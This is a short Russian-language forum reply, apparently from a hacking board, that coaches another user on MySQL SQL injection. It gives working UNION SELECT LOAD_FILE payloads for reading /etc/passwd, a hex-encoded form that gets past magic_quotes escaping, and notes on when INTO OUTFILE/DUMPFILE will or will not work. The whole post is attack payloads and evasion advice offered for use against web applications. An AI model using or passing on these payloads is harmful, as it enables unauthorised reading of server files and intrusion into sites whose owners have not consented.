2Gidz, при меджик квотес у тебя инто оутфайл/дампфайл работать не будет.
По поводу лоад файл:
1) -1+UNION+SELECT+LOAD_FILE(etc/passwd); <------ Это не верно, нужны кавычки:
-1+UNION+SELECT+LOAD_FILE('/etc/passwd');
А так как у тебя меджик квотес - нужно хэксить, или чарить:
-1+UNION+SELECT+LOAD_FILE(0x2f6574632f706173737764) ;

Что бы не было дальнейших вопросов - скажу, что в инот оутфайл/дампфайл путь хексить/чарить НЕЛЬЗЯ.